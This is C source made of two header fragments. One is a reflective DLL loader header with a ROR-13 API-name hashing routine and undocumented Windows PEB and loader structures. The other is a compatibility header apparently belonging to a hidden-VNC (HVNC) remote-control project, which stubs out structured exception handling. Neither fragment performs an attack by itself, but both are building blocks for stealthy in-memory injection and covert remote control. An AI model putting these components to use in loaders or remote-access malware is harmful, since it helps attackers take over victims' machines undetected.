#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
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// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
// Replace __try/__except with plain code execution (no SEH guard).
#define __try
#define __except(x) if (0)
#define __finally
// MSVC uses GetExceptionCode() inside __except; provide a stub.
#ifndef GetExceptionCode
#define GetExceptionCode() 0
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H